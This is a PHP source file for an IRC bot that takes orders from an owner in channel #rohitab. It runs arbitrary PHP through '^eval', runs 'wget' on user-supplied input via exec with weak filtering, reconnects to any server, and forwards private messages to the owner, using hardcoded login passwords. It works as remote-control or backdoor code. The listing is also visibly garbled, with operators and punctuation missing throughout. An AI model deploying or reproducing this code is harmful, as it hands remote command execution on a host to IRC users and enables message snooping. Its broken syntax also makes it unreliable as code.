<?php
set_time_limit 
) ;

$Host 'irc.dal.net' ;
$Port 6667 ;
$TimeOut 300 ;
$MyNick 'xX_Amalthea_Xx' ;
$PassHaxs '' ;
$Join '#rohitab' ;
$Owner '' ;
$Authed = array ( ) ;
$Auth trim ( @ file_get_contents 'auth' ) ) ;
$Live true ;
$Vers explode "\n"trim ( @ file_get_contents 'vers' ) ) ) ;

while ( 
$Live )
{
    
$Socket fsockopen $Host$Port$ErrNo$ErrStr$TimeOut ) ;
    if ( 
$Socket )
    {
        
fputs $Socket"USER {$MyNick} {$MyNick} {$MyNick} {$MyNick}\n" ) ;
        
fputs $Socket"NICK {$MyNick}\n" ) ;
        
fputs $Socket"JOIN {$Join}\n" ) ;
        
fputs $Socket"PRIVMSG NickServ :IDENTIFY {$PassHaxs}\n" ) ;
        while ( ! 
feof $Socket ) )
        {
            
$LolMsg trim fgets $Socket1024 ) ) ;
            
$Message explode ' '$LolMsg) ;
            
$Nick explode '!'substr $Message[0], ) ) ;
            
$Nick $Nick[0] ;
            if ( 
$Nick == $Owner || in_array strtolower $Nick ), $Authed ) )
            {
                
$Msgs explode ' 'substr $Message[3], ), ) ;
                
$Deauths explode ' '$Message[3] ) ;
                switch ( 
strtolower $Msgs[0] ) )
                {
                    case 
'^eval' :
                        if ( 
$Nick == $Owner )
                        {
                            eval ( 
substr $Message[3], strlen $Msgs[0] ) ) ) ;
                        }
                        break ;
                    case 
'^quit' :
                        if ( 
$Nick == $Owner )
                        {
                            
$Live false ;
                            
fputs $Socket"QUIT :" substr $Message[3], strlen $Msgs[0] ) ) . "\n" ) ;
                        }
                        break ;
                    case 
'^raw' :
                        if ( 
$Nick == $Owner )
                        {
                            
fputs $Socketsubstr $Message[3], strlen $Msgs[0] ) ) . "\n" ) ;
                        }
                        break ;
                    case 
'^ain' :
                        for ( 
$i $i count $Deauths ) ; $i ++ )
                        {
                            if ( ! ( 
preg_match "/^{$Deauths[$i]}\b/i"$Auth ) || preg_match "/\b{$Deauths[$i]}\b/i"$Auth ) || preg_match "/\b{$Deauths[$i]}$/i"$Auth ) ) )
                            {
                                
$Auth .= " {$Deauths[$i]}" ;
                            }
                            else
                            {
                                
fputs $Socket"NOTICE {$Nick} :{$Deauths[$i]} is already authed!\n" ) ;
                            }
                        }
                        
$Auth trim $Auth ) ;
                        break ;
                    case 
'^aout' :
                        for ( 
$i $i count $Deauths ) ; $i ++ )
                        {
                            
$Auth trim str_replace '  '' 'str_replace " {$Deauths[$i]}"' 'str_replace "{$Deauths[$i]} "''$Auth ) ) ) ) ;
                        }
                        break ;
                    case 
'^server' :
                        if ( 
$Nick == $Owner )
                        {
                            if ( 
count $Msgs ) > )
                            {
                                
$Host $Msgs[1] ;
                                
$Port $Msgs[2] ;
                                
$TimeOut $Msgs[3] ;
                                
$MyNick $Msgs[4] ;
                                
$Join $Msgs[5] ;
                                
$Owner $Msgs[6] ;
                                
$StartCmd $Msgs[7] ;
                                
$Socket fsockopen $Host$Port$ErrNo$ErrStr$TimeOut ) ;
                                if ( 
$Socket )
                                {
                                    
fputs $Socket"USER {$MyNick} {$MyNick} {$MyNick} {$MyNick}\nNICK {$MyNick}\nJOIN {$Join}\n{$StartCmd}\n" ) ;
                                }
                                else
                                {
                                    
$Live false;
                                }
                            }
                            else
                            {
                                
fputs $Socket"NOTICE {$Nick} :^server HOST PORT TIMEOUT NICK JOIN OWNER [Startup Command]\n" ) ;
                            }
                        }
                        break ;
                    case 
'^say' :
                        
fputs $Socket"PRIVMSG {$Message[2]} :" substr $Message[3], strlen $Msgs[0] ) ) . "\n" ) ;
                        break ;
                    case 
'^nick' :
                        
fputs $Socket"NICK " substr $Message[3], strlen $Msgs[0] ) ) . "\n" ) ;
                        break ;
                    case 
'^join' :
                        
fputs $Socket"JOIN " substr $Message[3], strlen $Msgs[0] ) ) . "\n" ) ;
                        break ;
                    case 
'^list' :
                        
$Colors '4,17' ;
                        
fputs $Socket"NOTICE {$Nick} :\3{$Colors}\2{$Owner}\2\3 {$Auth}\n" ) ;
                        break ;
                    case 
'^rehash' :
                        
$File fopen 'auth''w' ) ;
                        
fwrite $File$Auth ) ;
                        
fclose $File ) ;
                        
$File fopen 'vers''w' ) ;
                        for ( 
$i $i count $Vers ) ; $i ++ )
                        {
                            
fwrite $File"{$Vers[$i]}\n" ) ;
                        }
                        
fclose $File ) ;
                        break ;
                    case 
'^reload' :
                        
$Auth trim ( @ file_get_contents 'auth' ) ) ;
                        
$Vers explode "\n"trim ( @ file_get_contents 'vers' ) ) ) ;
                        break ;
                    case 
'^veradd' :
                        
$Vers[( count $Vers ) )] = trim substr $Message[3], strlen $Msgs[0] ) ) ) ;
                        break ;
                    case 
'^download' :
                        
$File preg_replace '/(.+?)(;|&&)(.+?)/''\\1'trim substr $Message[3], strlen $Msgs[0] ) ) ) ) ;
                        
fputs $Socket"PRIVMSG {$Message[2]} :Attempting to Download {$File}\n" ) ;
                        
exec "wget {$File}"$Output ) ;
                        for ( 
$i $i count $Output ) ; $i ++ )
                        {
                            
fputs $Socket
"PRIVMSG {$Message[2]} :{$Output[$i]}\n" ) ;
                        }
                        break ;
                    case 
'^copy' :
                        
$Copy $Msgs[1] ;
                        break ;
                    case 
'^ypoc' :
                        
$Ypoc $Msgs[1] ;
                        break ;
                    case 
'^mix' :
                        
$MIX $Msgs[1] ;
                        break ;
                    case 
'^cmd' :
                        if ( 
$Nick == $Owner )
                        {
                            
fputs $Socket"NOTICE {$Nick} :^quit <QUIT MESSAGE>\n" ) ;
                                                        
fputs $Socket"NOTICE {$Nick} :^eval <PHP CODE>\n" ) ;
                                                        
fputs $Socket"NOTICE {$Nick} :^server  <HOST> <PORT> <TIMEOUT> <NICK> <JOIN> <OWNER> [Startup Command]\n" ) ;
                        }
                        
fputs $Socket"NOTICE {$Nick} :^ain <USER(S) TO GIVE AUTHS TO>\n" ) ;
                        
fputs $Socket"NOTICE {$Nick} :^aout <USER(S) TO REMOVE AUTHS FROM>\n" ) ;
                        
fputs $Socket"NOTICE {$Nick} :^say <MSG TO SAY>\n" ) ;
                        
fputs $Socket"NOTICE {$Nick} :^nick <NEW_NICK>\n" ) ;
                        
fputs $Socket"NOTICE {$Nick} :^join <ROOM_TO_JOIN>\n" ) ;
                        
fputs $Socket"NOTICE {$Nick} :^list (NO PARAMETERS. Shows Authed Users.)\n" ) ;
                        
fputs $Socket"NOTICE {$Nick} :^rehash (NO PARAMETERS. Saves current authlist and version list)\n" ) ;
                        
fputs $Socket"NOTICE {$Nick} :^reload (NO PARAMETERS. Loads authlist and version list from file)\n" ) ;
                        
fputs $Socket"NOTICE {$Nick} :^veradd <VERSION REPLY TO ADD>\n" ) ;
                        
fputs $Socket"NOTICE {$Nick} :^download <FILE_TO_DOWNLOAD>\n" ) ;
                        
fputs $Socket"NOTICE {$Nick} :^copy <PERSON_TO_COPY>\n" ) ;
                        
fputs $Socket"NOTICE {$Nick} :^ypoc <YPOC_OT_NOSREP>\n" ) ;
                        
sleep ) ;
                        break ;
                    default :
                        break ;
                }
                if ( 
$Message[1] == 'NICK' )
                {
                    if ( 
$Nick == $Owner )
                    {
                        
$Owner substr $Message[2], ) ;
                    }
                    
$Auth str_replace $Nicksubstr $Message[2], ), $Auth ) ;
                }
                elseif ( 
$Nick == $Owner && preg_match '/(http:\/\/|https:\/\/|)(.+?)\.(.+?)\.(.+?)(|\/|\/.+?) /'$Message[3] ) )
                {
                    echo 
"ZOMFG LINK\n";
                }
            }
            elseif ( 
$Message[0] == 'PING' )
            {
                
fputs $Socket"PONG {$Message[1]} {$Message[2]} {$Message[3]}\n" ) ;
            }
            elseif ( 
$Message[1] == 'KICK' && strtolower substr $Message[3], 0strlen $MyNick ) ) ) == strtolower $MyNick ) )
            {
                
fputs $Socket"JOIN {$Message[2]}\n" ) ;
            }
            elseif ( 
$Message[3] == ':^login ofux' )
            {
                
$Auth .= " " $Nick ;
                
$Auth trim $Auth ) ;
            }
                        elseif ( 
$Message[3] == ':^login <ADMINPASS>' )
                        {
                                
$Owner $Nick ;
                        }
            elseif ( 
substr $Message[3], 0) == ":^login" )
            {
                
fputs $Socket"NOTICE {$Nick} :WRONG PASSWORD, ASSHAT!\n" ) ;
            }
            if ( 
$Nick == $Copy )
            {
                
fputs $Socket"PRIVMSG {$Message[2]} {$Message[3]}\n" ) ;
            }
            if ( 
$Nick == $Ypoc )
            {
                
$gnirtS substr $Message[3], ) ;
                
$String ':' ;
                for ( 
$i strlen $gnirtS ) ; $i >= $i -- )
                {
                    
$String .= $gnirtS{$i} ;
                }
                
fputs $Socket"PRIVMSG {$Message[2]} {$String}\n" ) ;
            }
            if ( 
$Nick == $MIX )
            {
                
$gnirtS substr $Message[3], ) ;
                
$String ':' ;
                for ( 
$i strlen $gnirtS ) ; $i $i -- )
                {
                    
$String .= $gnirtS{rand()%strlen($gnirtS)} ;
                }
                
fputs $Socket"PRIVMSG {$Message[2]} {$String}\n" ) ;
            }
            elseif ( 
preg_match '/\bmyspace\b/i'substr $Message[3], ) ) )
            {
                
fputs $Socket"PRIVMSG {$Message[2]} :\1ACTION lols at {$Nick} for mentioning MySpace.\1\n" ) ;
            }
            if ( 
strtolower $Message[1] ) == 'notice' )
            {
                
fputs $Socket"NOTICE {$Owner} :{$Nick} :||: " substr $Message[3], ) . "\n" ) ;
            }
            elseif ( 
strtoupper substr $Message[3], 0strlen ":\1VERSION" ) ) ) == ":\1VERSION" )
            {
                
fputs $Socket"NOTICE {$Nick} :\1VERSION " $Vers[( rand ( ) % count $Vers ) )] . "\1\n" ) ;
            }
                        elseif ( 
strtoupper substr $Message[3], 0strlen ":\1PING" ) ) ) == ":\1PING" )
                        {
                                
fputs $Socket"NOTICE {$Nick} :\1PING " substr $Message[3], strlen "\1PING " ) ) . "\1\n" ) ;
                        }
                        elseif ( 
strtoupper substr $Message[3], 0strlen ":\1HI" ) ) ) == ":\1HI" )
                        {
                                
fputs $Socket"NOTICE {$Nick} :\1COCKS" substr $Message[3], strlen ":\1HI" ) ) . "\1\n" ) ;
                        }
            elseif ( 
strtolower $Message[1] ) == 'privmsg' && strtolower $Message[2] ) == strtolower $MyNick ) )
            {
                
fputs $Socket"NOTICE {$Owner} :MSG - {$Nick} :||: " substr $Message[3], ) . "\n" ) ;
            }
            
$Authed explode ' 'strtolower $Auth ) ) ;
            print ( 
"{$LolMsg}\n" ) ;
        }
    }
}
$File fopen 'auth''w' ) ;
fwrite $File$Auth ) ;
fclose $File ) ;
$File fopen 'vers''w' ) ;
for ( 
$i $i count $Vers ) ; $i ++ )
{
    
fwrite $File"{$Vers[$i]}\n" ) ;
}
fclose $File ) ;
?>